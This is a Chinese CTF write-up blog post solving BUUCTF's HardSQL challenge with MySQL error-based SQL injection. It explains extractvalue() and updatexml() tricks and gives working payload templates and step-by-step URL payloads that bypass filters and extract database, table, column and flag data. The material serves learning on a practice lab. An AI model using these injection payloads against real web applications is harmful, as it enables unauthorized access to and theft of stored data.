Loading

BUUCTF [极客大挑战 2019]HardSQL

判断过滤哪些关键词和字符

待补充

报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误concat+rand()+group_by()导致主键重复

xpath语法错误

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。
使用条件:mysql version > 5.1.5

extractvalue函数

extractvalue(xml_frag, xpath_expr)
接受两个字符串参数,一个XML标记片段xml_frag和一个XPath表达式xpath_expr(也称为定位器);它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径。
作用:从目标xml中返回包含所查询值的字符串

如何让extractvalue()这个函数产设错误并报告?那么自然需要在使用过程中有语法错误,怎么去创造这个语法错误使得这个错误变得万能呢?就是使用这个语法中本身不含有或者不支持的字符。第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

语法:id='and(select extractvalue("anything",concat(0x7e,(select语句))))

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
查表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
查字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
查数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
  • 0x7e = ~ ,'~'可以换成'#'、'$'等不满足xpath格式的字符
  • concat()函数合并多个字符串,如concat(a,b,c)-->abc
  • extractvalue()能查询字符串的最大长度为32
  1. 构造payload查数据库名:?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
    得到XPATH syntax error: '~geek'
  • 用'^'来连接函数,形成异或
  • %23代表url编码中的'#'
  • 我在使用Max Hackbar执行payload时,%会被编码为%25导致执行有问题,因此是在地址栏输入的payload
  1. 构造payload查表名:?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))))%23
    回显仍出错,说明'='也被过滤了,这里我们使用like来代替"="
    构造payload:?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
    得到XPATH syntax error: '~H4rDsq1'

group_concat()函数的作用在于,查询的数据有多列,SQL不知道查询哪一个。使用group_concat()函数,让数据放在一列里面显示。使用limit可以起到类似效果。

  1. 构造payload查列名:?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
    得到XPATH syntax error: '~id,username,password'
  2. 构造payload查数据:?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1))))%23
    得到XPATH syntax error: '~flag{8f1e9fdc-f576-4399-ba8a-1a'
    此时这里因为用extractvalue()函数,一次只能显示32个字符,我们可以用left,right函数拼接
    构造payload:?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(left(password,30)))from(geek.H4rDsq1))))%23
    构造payload:?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(geek.H4rDsq1))))%23
    拼接得到flag:flag{8f1e9fdc-f576-4399-ba8a-1af3373ff6ab}

updatexml函数

updatexml(xml_target, xpath_expr, new_xml)
第一个参数:是string格式,为XML文档对象的名称。第二个参数:代表路径,Xpath格式的字符串。第三个参数:string格式,替换查找到的符合条件的数据。
第二个参数跟extractvalue函数的第二个参数一样,因此也可利用且利用方式相同。

语法:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

查数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
查表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
查列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
查数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
  1. 构造payload查数据库名:?username=admin&password=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
    得到XPATH syntax error: '~geek'
  2. 构造payload查表名:?username=admin&password=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
    得到XPATH syntax error: '~H4rDsq1'
  3. 构造payload查列名:?username=admin&password=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
    得到XPATH syntax error: '~id,username,password'
  4. 构造payload查数据:?username=admin&password=admin'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(geek.H4rDsq1)),0x7e),1))%23
    ?username=admin&password=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(geek.H4rDsq1)),0x7e),1))%23
    拼接得到flag:flag{8f1e9fdc-f576-4399-ba8a-1af3373ff6ab}

concat+rand()+group_by()导致主键重复

待补充




参考链接:
https://blog.csdn.net/silence1_/article/details/90812612
https://www.cnblogs.com/junlebao/p/13836583.html
https://blog.csdn.net/bring_coco/article/details/108747855
https://blog.csdn.net/qq_46091464/article/details/107645568

posted @ 2023-08-29 14:50  Amsterdamnit  阅读(397)  评论(0)    收藏  举报